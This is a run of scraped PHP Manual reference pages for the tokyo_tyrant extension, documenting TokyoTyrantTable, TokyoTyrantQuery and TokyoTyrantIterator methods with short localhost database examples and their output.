PHP Manual

TokyoTyrantTable::putCat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putCat — Concatenates to a row

Description

public void TokyoTyrantTable::putCat ( string $key , array $columns )

This method can be used to add new columns to existing records. Existing keys will be left unmodified but any new columns will be appended to the row. Passing null as key will generate a new row.

Parameters

key

The primary key of the row or NULL

columns

Array of row contents

Return Values

Returns the primary key and throws TokyoTyrantException on error.

Examples

Example #1 TokyoTyrantTable::putCat() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));

/* Modify an existing row */
$tt->putcat($index, array("column1" => "something new", "new_column" => "other data"));

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
array(3) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
  ["new_column"]=>
  string(10) "other data"
}

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::put
TokyoTyrantTable::putKeep
TokyoTyrantTable


Put a new record

TokyoTyrantTable::putCat
TokyoTyrantTable::putNr
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::putKeep

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putKeep — Put a new record

Description

public void TokyoTyrantTable::putKeep ( string $key , array $columns )

Puts a new record into the database. If the key already exists this method throws an exception indicating that the records exists.

Parameters

key

The primary key of the row or NULL

columns

Array of the row contents

Return Values

Returns the primary key and throws TokyoTyrantException on error.

Examples

Example #1 TokyoTyrantTable::putKeep() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));

try {
    $tt->putKeep($index, array("column1" => "something new", "new_column" => "other data"));
} catch (TokyoTyrantException $e) {
    if ($e->getCode() === TokyoTyrant::TTE_KEEP) {
        echo "Existing record! Not modified\n";
    } else {
        echo "Error: " , $e->getMessage() , "\n";
    }
}

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output something similar to:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
Existing record! Not modified
array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::putCat
TokyoTyrantTable::putNr
TokyoTyrantTable


Puts value

TokyoTyrantTable::putKeep
TokyoTyrantTable::putShl
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::putNr

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putNr — Puts value

Description

public void TokyoTyrantTable::putNr ( mixed $keys [, string $value ] )

This method is not supported on table databases. Calling this method through TokyoTyrantTable is considered an error and an TokyoTyrantException will be thrown.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method is not supported on table databases. Calling this method through TokyoTyrantTable is considered an error and an TokyoTyrantException will be thrown.

See Also

  • TokyoTyrant::putNr() - Puts value
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::putKeep
TokyoTyrantTable::putShl
TokyoTyrantTable


Concatenates to a record

TokyoTyrantTable::putNr
TokyoTyrantTable::setIndex
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::putShl

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putShl — Concatenates to a record

Description

public void TokyoTyrantTable::putShl ( string $key , string $value , int $width )

This method is not supported on table databases. Calling this method through TokyoTyrantTable is considered an error and an TokyoTyrantException will be thrown.

Parameters

key

A string key

value

The value to concatenate

width

The width of the record

Return Values

This method is not supported on table databases.

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record
  • TokyoTyrantTable::put() - Store a row
  • TokyoTyrantTable::putKeep() - Put a new record
  • TokyoTyrantTable::putCat() - Concatenates to a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::putNr
TokyoTyrantTable::setIndex
TokyoTyrantTable


Sets index

TokyoTyrantTable::putShl
TokyoTyrantQuery
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::setIndex

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::setIndex — Sets index

Description

public mixed TokyoTyrantTable::setIndex ( string $column , int $type )

Sets an index on a specified column. The index type is one of the TokyoTyrant::RDBIT_* constants. Passing TokyoTyrant::RDBIT_VOID removes the index.

Parameters

column

The name of the column

type

The index type

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::putShl
TokyoTyrantQuery
TokyoTyrantTable


The TokyoTyrantQuery class

(No version information available, might only be in SVN)

Introduction

This class is used to query the table databases

Class synopsis

TokyoTyrantQuery implements Iterator , Traversable {
/* Methods */
public mixed addCond ( string $name , int $op , string $expr )
public __construct ( TokyoTyrantTable $table )
public int count ( void )
public array current ( void )
public string hint ( void )
public string key ( void )
public array metaSearch ( array $queries , int $type )
public array next ( void )
public TokyoTyrantQuery out ( void )
public bool rewind ( void )
public array search ( void )
public mixed setLimit ([ int $max [, int $skip ]] )
public mixed setOrder ( string $name , int $type )
public bool valid ( void )
}

Table of Contents

  • TokyoTyrantQuery::addCond — Adds a condition to the query
  • TokyoTyrantQuery::__construct — Construct a new query
  • TokyoTyrantQuery::count — Counts records
  • TokyoTyrantQuery::current — Returns the current element
  • TokyoTyrantQuery::hint — Get the hint string of the query
  • TokyoTyrantQuery::key — Returns the current key
  • TokyoTyrantQuery::metaSearch — Retrieve records with multiple queries
  • TokyoTyrantQuery::next — Moves the iterator to next entry
  • TokyoTyrantQuery::out — Removes records based on query
  • TokyoTyrantQuery::rewind — Rewinds the iterator
  • TokyoTyrantQuery::search — Searches records
  • TokyoTyrantQuery::setLimit — Limit results
  • TokyoTyrantQuery::setOrder — Orders results
  • TokyoTyrantQuery::valid — Checks the validity of current item

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::setIndex
TokyoTyrantQuery::addCond
tokyo_tyrant


Adds a condition to the query

TokyoTyrantQuery
TokyoTyrantQuery::__construct
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::addCond

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::addCond — Adds a condition to the query

Description

public mixed TokyoTyrantQuery::addCond ( string $name , int $op , string $expr )

Adds a condition to the query. Condition can be something like: get all keys which value matches expr.

Parameters

name

Name of the column in the condition

op

The operator. One of the TokyoTyrant::RDBQC_* constants

expr

The expression

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantQuery::addCond() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Dump the search results */
var_dump($query->search());
?>

The above example will output:

array(2) {
  [1]=>
  array(2) {
    ["column1"]=>
    string(9) "some data"
    ["column2"]=>
    string(14) "something here"
  }
  [4]=>
  array(2) {
    ["column45"]=>
    string(11) "random data"
    ["column2"]=>
    string(25) "something along the lines"
  }
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery
TokyoTyrantQuery::__construct
TokyoTyrantQuery


Construct a new query

TokyoTyrantQuery::addCond
TokyoTyrantQuery::count
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::__construct

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::__construct — Construct a new query

Description

public TokyoTyrantQuery::__construct ( TokyoTyrantTable $table )

Construct a new query object

Parameters

table

TokyoTyrantTable object with active database connection

Return Values

Returns a new TokyoTyrantQuery object and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::__construct() example

<?php
$tt = new TokyoTyrantTable("localhost", 1979);

$query = new TokyoTyrantQuery($tt);

/* Work with $query */
?>

See Also

  • TokyoTyrantTable::getQuery() - Get a query object

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::addCond
TokyoTyrantQuery::count
TokyoTyrantQuery


Counts records

TokyoTyrantQuery::__construct
TokyoTyrantQuery::current
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::count

(No version information available, might only be in SVN)

TokyoTyrantQuery::count — Counts records

Description

public int TokyoTyrantQuery::count ( void )

Returns a count of how many records a query returns.

Parameters

This function has no parameters.

Return Values

Returns a count of matching rows and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::count() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Count the results */
var_dump($query->count());
?>

The above example will output:

int(2)

See Also

  • TokyoTyrantQuery::out() - Removes records based on query
  • TokyoTyrantQuery::search() - Searches records
  • TokyoTyrantQuery::metaSearch() - Retrieve records with multiple queries

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::__construct
TokyoTyrantQuery::current
TokyoTyrantQuery


Returns the current element

TokyoTyrantQuery::count
TokyoTyrantQuery::hint
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::current

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::current — Returns the current element

Description

public array TokyoTyrantQuery::current ( void )

Returns the current element. Part of Iterator interface

Parameters

This function has no parameters.

Return Values

Returns the current row

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::count
TokyoTyrantQuery::hint
TokyoTyrantQuery


Get the hint string of the query

TokyoTyrantQuery::current
TokyoTyrantQuery::key
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::hint

(No version information available, might only be in SVN)

TokyoTyrantQuery::hint — Get the hint string of the query

Description

public string TokyoTyrantQuery::hint ( void )

Get the hint string of the query. The hint string contains information about an executed query and it could be compared to for example MySQL EXPLAIN statement.

Parameters

This function has no parameters.

Return Values

This method always returns a string

Examples

Example #1 TokyoTyrantQuery::hint example

<?php
$tt = new TokyoTyrantTable("localhost", 1979);
$tt->vanish();

for ($i = 0; $i < 11; $i++) {
     $tt->put(null, array('a_col' => 'a' . $i, 'b_col' => 'b' . $i));
}

$query = $tt->getQuery();
$query->addCond('a_col', TokyoTyrant::RDBQC_STRBW, 'a');

$query->search();
var_dump($query->hint());
?>

The above example will output something similar to:

string(72) "
scanning the whole table
result set size: 11
leaving the natural order
"

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::current
TokyoTyrantQuery::key
TokyoTyrantQuery


Returns the current key

TokyoTyrantQuery::hint
TokyoTyrantQuery::metaSearch
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::key

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::key — Returns the current key

Description

public string TokyoTyrantQuery::key ( void )

Returns the current key. Part of the Iterator interface

Parameters

This function has no parameters.

Return Values

Returns the current key and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::hint
TokyoTyrantQuery::metaSearch
TokyoTyrantQuery


Retrieve records with multiple queries

TokyoTyrantQuery::key
TokyoTyrantQuery::next
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::metaSearch

(No version information available, might only be in SVN)

TokyoTyrantQuery::metaSearch — Retrieve records with multiple queries

Description

public array TokyoTyrantQuery::metaSearch ( array $queries , int $type )

Executes multiple queries on a database and returns matching records. The current object is always the left most object in the search.

Parameters

queries

Array of TokyoTyrantQuery objects

type

One of the TokyoTyrant::RDBMS_* constants

Return Values

Returns the matching rows and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::metaSearch() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add test data */
$tt->put('cherry',     array('color' => 'red'));
$tt->put('strawberry', array('color' => 'red'));
$tt->put('apple',      array('color' => 'green'));
$tt->put('lemon',      array('color' => 'yellow'));

/* First query */
$query = $tt->getQuery();
$query->addCond('color', TokyoTyrant::RDBQC_STREQ, 'red')->setOrder('color', TokyoTyrant::RDBQO_STRASC);

/* Second query */
$query1 = $tt->getQuery();
$query1->addCond('color', TokyoTyrant::RDBQC_STREQ, 'yellow');

/* Get union between the queries */
var_dump($query->metaSearch(array($query1), TokyoTyrant::RDBMS_UNION));
?>

The above example will output:

array(3) {
  ["cherry"]=>
  array(1) {
    ["color"]=>
    string(3) "red"
  }
  ["strawberry"]=>
  array(1) {
    ["color"]=>
    string(3) "red"
  }
  ["lemon"]=>
  array(1) {
    ["color"]=>
    string(6) "yellow"
  }
}

See Also

  • TokyoTyrantQuery::search() - Searches records

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::key
TokyoTyrantQuery::next
TokyoTyrantQuery


Moves the iterator to next entry

TokyoTyrantQuery::metaSearch
TokyoTyrantQuery::out
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::next

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::next — Moves the iterator to next entry

Description

public array TokyoTyrantQuery::next ( void )

Returns the next result in the resultset. Part of the Iterator interface.

Parameters

This function has no parameters.

Return Values

Returns the next row and throws TokyoTyrantException on error.

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::metaSearch
TokyoTyrantQuery::out
TokyoTyrantQuery


Removes records based on query

TokyoTyrantQuery::next
TokyoTyrantQuery::rewind
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::out — Removes records based on query

Description

public TokyoTyrantQuery TokyoTyrantQuery::out ( void )

Removes all records that match the query. Works exactly like search but removes the records instead of returning them.

Parameters

This function has no parameters.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantQuery::out() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Remove matching records */
$query->out();
?>

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::next
TokyoTyrantQuery::rewind
TokyoTyrantQuery


Rewinds the iterator

TokyoTyrantQuery::out
TokyoTyrantQuery::search
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::rewind

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::rewind — Rewinds the iterator

Description

public bool TokyoTyrantQuery::rewind ( void )

Rewind the resultset and executes the query if it has not been executed. Part of the Iterator interface.

Parameters

This function has no parameters.

Return Values

Returns TRUE

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::out
TokyoTyrantQuery::search
TokyoTyrantQuery


Searches records

TokyoTyrantQuery::rewind
TokyoTyrantQuery::setLimit
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::search

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::search — Searches records

Description

public array TokyoTyrantQuery::search ( void )

Executes a search on the table database. Returns an array of arrays containing the matching records. In the returned array the first level is the primary key of the data and the second level is the row data.

Parameters

This function has no parameters.

Return Values

Returns the matching rows and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::search() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Dump the search results */
var_dump($query->search());
?>

The above example will output:

array(2) {
  [1]=>
  array(2) {
    ["column1"]=>
    string(9) "some data"
    ["column2"]=>
    string(14) "something here"
  }
  [4]=>
  array(2) {
    ["column45"]=>
    string(11) "random data"
    ["column2"]=>
    string(25) "something along the lines"
  }
}

See Also

  • TokyoTyrantQuery::out() - Removes records based on query
  • TokyoTyrantQuery::metaSearch() - Retrieve records with multiple queries

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::rewind
TokyoTyrantQuery::setLimit
TokyoTyrantQuery


Limit results

TokyoTyrantQuery::search
TokyoTyrantQuery::setOrder
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::setLimit

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::setLimit — Limit results

Description

public mixed TokyoTyrantQuery::setLimit ([ int $max [, int $skip ]] )

Set the maximum amount of records to return on a query.

Parameters

max

Maximum amount of records. Default: -1

skip

How many records to skip from the start. Default: -1

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::search
TokyoTyrantQuery::setOrder
TokyoTyrantQuery


Orders results

TokyoTyrantQuery::setLimit
TokyoTyrantQuery::valid
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::setOrder

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::setOrder — Orders results

Description

public mixed TokyoTyrantQuery::setOrder ( string $name , int $type )

Sets the order of a query

Parameters

name

The column name to apply the ordering on.

type

The type can be one of the following constants:

  • TokyoTyrant::RDBQO_STRASC - String ascending
  • TokyoTyrant::RDBQO_STRDESC - String descending
  • TokyoTyrant::RDBQO_NUMASC - Numberic ascending
  • TokyoTyrant::RDBQO_NUMDESC - String descending

Return Values

This method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::setLimit
TokyoTyrantQuery::valid
TokyoTyrantQuery


Checks the validity of current item

TokyoTyrantQuery::setOrder
TokyoTyrantIterator
TokyoTyrantQuery
PHP Manual

TokyoTyrantQuery::valid

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::valid — Checks the validity of current item

Description

public bool TokyoTyrantQuery::valid ( void )

Checks if the current item is valid. Part of the Iterator interface

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current item is valid and FALSE if not.

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::setOrder
TokyoTyrantIterator
TokyoTyrantQuery


The TokyoTyrantIterator class

(No version information available, might only be in SVN)

Introduction

Provides an iterator for TokyoTyrant and TokyoTyrantTable objects. The iterator iterates over all keys and values in the database. TokyoTyrantIterator was added in version 0.2.0.

Class synopsis

TokyoTyrantIterator implements Iterator {
/* Methods */
public __construct ( mixed $object )
public mixed current ( void )
public mixed key ( void )
public mixed next ( void )
public void rewind ( void )
public bool valid ( void )
/* Inherited methods */
public number TokyoTyrant::add ( string $key , number $increment [, int $type = 0 ] )
public TokyoTyrant TokyoTyrant::connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )
public TokyoTyrant TokyoTyrant::connectUri ( string $uri )
public TokyoTyrant::__construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )
public TokyoTyrant TokyoTyrant::copy ( string $path )
public string TokyoTyrant::ext ( string $name , int $options , string $key , string $value )
public array TokyoTyrant::fwmKeys ( string $prefix , int $max_recs )
public mixed TokyoTyrant::get ( mixed $keys )
public TokyoTyrantIterator TokyoTyrant::getIterator ( void )
public int TokyoTyrant::num ( void )
public TokyoTyrant TokyoTyrant::out ( mixed $keys )
public TokyoTyrant TokyoTyrant::put ( mixed $keys [, string $value = NULL ] )
public TokyoTyrant TokyoTyrant::putCat ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putKeep ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putNr ( mixed $keys [, string $value = NULL ] )
public mixed TokyoTyrant::putShl ( string $key , string $value , int $width )
public mixed TokyoTyrant::restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )
public mixed TokyoTyrant::setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )
public int TokyoTyrant::size ( string $key )
public array TokyoTyrant::stat ( void )
public mixed TokyoTyrant::sync ( void )
public TokyoTyrant TokyoTyrant::tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )
public mixed TokyoTyrant::vanish ( void )
}

Table of Contents

  • TokyoTyrantIterator::__construct — Construct an iterator
  • TokyoTyrantIterator::current — Get the current value
  • TokyoTyrantIterator::key — Returns the current key
  • TokyoTyrantIterator::next — Move to next key
  • TokyoTyrantIterator::rewind — Rewinds the iterator
  • TokyoTyrantIterator::valid — Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantQuery::valid
TokyoTyrantIterator::__construct
tokyo_tyrant


Construct an iterator

TokyoTyrantIterator
TokyoTyrantIterator::current
TokyoTyrantIterator
PHP Manual

TokyoTyrantIterator::__construct

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::__construct — Construct an iterator

Description

public TokyoTyrantIterator::__construct ( mixed $object )

Construct a new TokyoTyrantIterator object. One connection can have multiple iterators but it is not quaranteed that all items are traversed in that case. object parameter can be either an of instance TokyoTyrant or TokyoTyrantTable.

Parameters

This function has no parameters.

Return Values

Throws an exception if iterator initialization fails.

Examples

Example #1 TokyoTyrantIterator::__construct() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Construct an iterator */
$it = new TokyoTyrantIterator($tt);

foreach ($it as $value) {
    var_dump($value);
}
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

See Also

  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator
  • TokyoTyrantIterator::key() - Returns the current key

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator
TokyoTyrantIterator::current
TokyoTyrantIterator


Get the current value

TokyoTyrantIterator::__construct
TokyoTyrantIterator::key
TokyoTyrantIterator
PHP Manual

TokyoTyrantIterator::current

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::current — Get the current value

Description

public mixed TokyoTyrantIterator::current ( void )

Returns the current value during iteration.

Parameters

This function has no parameters.

Return Values

Returns the current value on success and false on failure.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator::__construct
TokyoTyrantIterator::key
TokyoTyrantIterator


Returns the current key

TokyoTyrantIterator::current
TokyoTyrantIterator::next
TokyoTyrantIterator
PHP Manual

TokyoTyrantIterator::key

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::key — Returns the current key

Description

public mixed TokyoTyrantIterator::key ( void )

Returns the current key.

Parameters

This function has no parameters.

Return Values

Returns the current key on success and false on failure.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantIterator::current
TokyoTyrantIterator::next
TokyoTyrantIterator


Move to next key

TokyoTyrantIterator::key
TokyoTyrantIterator::rewind
